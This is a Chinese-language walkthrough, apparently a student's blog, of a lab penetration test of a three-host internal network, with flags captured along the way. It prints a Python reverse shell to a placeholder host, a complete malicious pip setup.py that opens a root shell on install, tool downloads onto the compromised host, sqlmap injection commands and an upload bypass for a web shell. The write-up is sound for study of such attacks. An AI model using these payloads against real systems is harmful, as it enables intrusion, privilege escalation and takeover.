第一次完整内网渗透测试

最近突发奇想(其实也不是,就是看见实习要求感觉自己啥都不会),想学习一下内外网渗透,于是就想到了之前学校的一个靶场,于是就有了这篇文章,主要渗透靶场如下,可以完整顺下来。完整走完一遍渗透流程感觉学到了巨多的知识。我第一遍的时候只截了图,就一直往下做了。现在属于第二遍回顾,来把一些当时不太会的知识点再学学原理

阶段1:渗透内网唯一对外机器

唯一可访问的外网:192.168.1.7

用win10侦察机访问一下,查看源代码:

发现疑似任意文件读取漏洞

因为是靶场,所以他这里面的fr我感觉应该是file read,所以是任意文件读,按如下命令读取index.php文件:

最开始直接参数设为index.php无反应,如上,猜测应该是代码里面本来就有后缀,所以改成index,如下,就可以显示出源代码的base64

解码一下得到密码

密码:Niamey4Ever227!!!

账户:mamadou

账户是在网站中发现的,有“made by mamadou”

接下来就需要ssh一下,那就先nmap扫一下端口

发现有一个3333端口开着,网上搜了一下说是这个是ssh服务,所以就直接用了

连接上之后发现是在python内,如下

既然是python,那就用下面的命令可以进入shell,如下:

(搜的命令 遇到这种情况都这样做)

1
2
import pty;
pty.spawn("/bin/bash")

进入之后ls一下就会发现第一个flag:flag1:d86b9ad71ca887f4dd1dac86ba1c4dfc

读取/etc/passwd

发现了另一个用户devops,先去该用户的目录看看 ls一下,发现了flag2,但是无权限打开,需要devops用户才有权打开

则需要将用户改成devops才可以打开,那接下来就需要想办法将用户改一下

用下面的命令看一下devops下有的文件

find / -users devops 2>/dev/null

其中讲一下 2>/dev/null命令,挺有意思的

这是Linux系统预留可三个文件描述符:0、1、2,意义如下:
0——标准输入(stdin)
1——标准输出(stdout)即输入到终端
2——标准错误(stderr)

则 2>/dev/null 就是将错误输入到null,也就是将错误隐藏,这样就可以只输出正确的了,以免刷屏

如上,挨个试一下发现只要第一个python文件可以打开,打开内容如下

是写入文件的命令,去写入的目录看一下,发现该文件是刚刚创建的,很奇怪,在ls一下发现时间又更新了,这样应该就是系统中有个程序一直在定时的调用这个程序。

那就简单了,直接改一下python文件,改成读取flag2文件然后输出出来,这样我们就可以打开了。

如下,得到第二个flag

Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098

既然可以执行任意我们写入的python文件,那就可以反弹shell了,如下,是反弹shell的一个标准脚本,用就行

1
2
3
4
5
6
7
8
open('/tmp/test','w').write('test')
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("99.99.99.99",1235))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

连接到kali攻击机上面,kali监听

最后成功反弹shell,如下,用户为devops,也能cat flag2

接下来收集信息:用sudo -l 看一下自己的权利,可以发现pip可用,且是root权限

则可以利用网上已有的脚步利用pip漏洞,这里环境中kali攻击机上已经有了相应的脚本,则用下面的办法传到机器上

在kali开启python服务器,目录下需要有脚本,这里是setup.py

然后用我们刚才反弹的shell来获取脚本,如上:

命令总结:

1
2
3
4
# kali攻击机:
python3 -m http.server 8000 # 在8000端口开服务器
# 被攻击机shell:
wget http://kali.ip/所需文件

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
def run(self):
install.run(self)
LHOST = 'localhost' # change this 改成kali的IP地址
LPORT = 13372

reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(LHOST=LHOST,LPORT=LPORT)
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='andre.marques@esecurity.com.br',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})

在shell中用vim发现用不了,则就可以用sed文件,先搜索更改的位置然后直接改就好了。

需要改的地方也就是ip地址而已

然后执行命令:(利用脚本)

sudo /usr/bin/pip install . --upgrade --force-reinstall

反弹shell:

去主目录ls一下发现有root.txt,查看root.txt

得到第三个flag:821ae63dbe0c573eff8b69d451fb21bc

本阶段就算结束了,拿到了机器的root权限后基本上就可以随便黑进去了

阶段2:内网渗透

阶段2-1 内网渗透博客系统

接下来我们需要做的是将上面已经拿到root权限的机器当做跳板,继续向内网渗透。因为内网的另外两台机器不出网,所以只能用代理的方式,让kali通过代理可以当成是内网机,这样方便进行一些攻击操作,不然在得到的rootShell中攻击太麻烦了,费时又费力

先去kali拿frp的代理工具(这里的frp即为代理工具)

然后先在kali建立代理服务器

1
2
3
chmod +x frps  //赋权

./frps -c ./frps.ini //建立代理服务端

然后在拿到root的外网机器上执行下面命令

1
2
3
chmod +x frpc  //赋权

./frpc -c ./frpc.ini //连接服务

如上图,此时就算是代理建立完成了,这两个窗口就可以先收起来了,但是不能关闭,直到我们全部渗透完才可以关闭。

代理建立成功后设置proxychains的配置文件:

新增记录:即以本地的9998端口开启代理

接下来就可以在kali执行内网探测:

进入/root/Desktop/tools/PortScan/目录,在该目录下打开终端,这是kali自带的ip扫描工具,用就完了

用以下命令使用代理扫描内网前十个IP地址

proxychains python scan.py 192.168.1.1 192.168.1.10 -t 20

上面命令的proxychains是代表在代理情况下执行后续命令,没有这个就扫不出来

如下图:发现三个ip地址的80端口开着

其中1.7的ip地址我们已经渗透完了,那就另外两个ip地址即为我们的攻击目标

接下来为了在win侦查机中打开对应的内网网页,就需要打开代理软件

但是靶场里面的软件支持过期了,直接搜索proxifier也可

在这个代理软件里面填上kali的ip地址以及端口,这样就相当于win通过kali连接上了wakanda的内网。

设置代理完相当于此时win10就是内网的wakanda机器,来访问其他的内网机器,比如此时的192.168.1.8的80端口:可以访问,发现下图页面

里面的目录都点一下试试,进入test之后发现网页路径可能存在sql注入(页面里面有?id=1)

试一下,加一个分号发现报错,那就是有回显的sql注入了

这里想尝试一下手工注入,再尝试一下发现是双引号闭合,但是还是注入不了

那实在不行就直接kali的sqlmap注入一下

如下在命令终端中执行

proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 --dbs

还行需要代理,不然访问不了,kali还是相当于外网机:成功开始注入

成功注出数据库:

先查看public数据库的表

proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 -D public --tables

再看user的表内容

注出admin的密码:P4ssw0rd

同时拿到第四个flag:8efe310f9ab3efeae8d410a8e0166eb2

然后进入admin网页,登录一下

登录之后发现可以添加图片,可以进行文件上传:

但是不能上传php后缀的文件,那应该就是文件上传漏洞了。

则可以用.htaccess绕过,前面的博客已经提到过

上传成功,这里我用powershell改了文件名,正常win不让你改成.htaccess的文件名,用Rename-item即可改名字

则再上传一个.xyth后缀的文件即可,里面放上一句话木马

上传成功

接下来就是蚁剑直连!测试一下,通过!

此时就算是内网的博客系统被我们拿下了。这阶段结束。

阶段2-2:内网渗透CMS

访问192.168.1.6,发现是cmseasy的内部网站

根据任务描述发现有纵向越权漏洞,可以在不知道管理员身份信息以及密码信息的情况下登录网站后台。

根据漏洞原理中得知,现在需要使用modify伪造一个ip,然后编辑get参数绕过后台登录认证。

使用modify使用X-Forwarded-For方式(网站获取ip的函数是获取http请求中的X-Forward-For字段),设置ip为网站的IP地址,然后点击start伪造ip。构造我们的get参数为:admin_dir=admin&site=default&ishtml=1

先伪造ip:

然后直接访问:

进入后台

在标题位置发现flag1:

flag1={mMyVrXbHYiTkO8osbrCbEIx1D4Tcf3WP}

此时我们虽然进入了后台,但是还不是管理员身份,所以进入不了其他网页

设置参数为: 查看语言项
case=language&act=edit&table=orders&admin_dir=admin&site=default&ishtml=1

直接翻到最后一页,发现路径以及密码

按给的路径和密码连接不上,观察一下改一下单词就可以蚁剑连接了,连接测试通过!

然后在该文件下找到第二个flag

/config/config.php然后去配置文件找数据库密码

同时拿到flag3,如上

直接添加之后连接,测试通过

找到flag4,获得base64的flag

flag4:P7iy1FflMZLZkDws35qE2cLOAWMscVj7

flag5直接在/etc目录下找到

就算全部渗透完了。

最后一阶段利用的是cms的漏洞,完成的比较仓促,因为环境快关了。但问题不大。主要目的是了解一下渗透测试的基本流程。

总结一下

基本渗透测试流程就是先根据网站打入其服务器,然后提权到root,建立代理,利用被打下的机器继续渗透其他内网机器,然后攻击。简单的流程应该会这样,但实际上最难得部分应该就是如何打入服务器。害,学吧。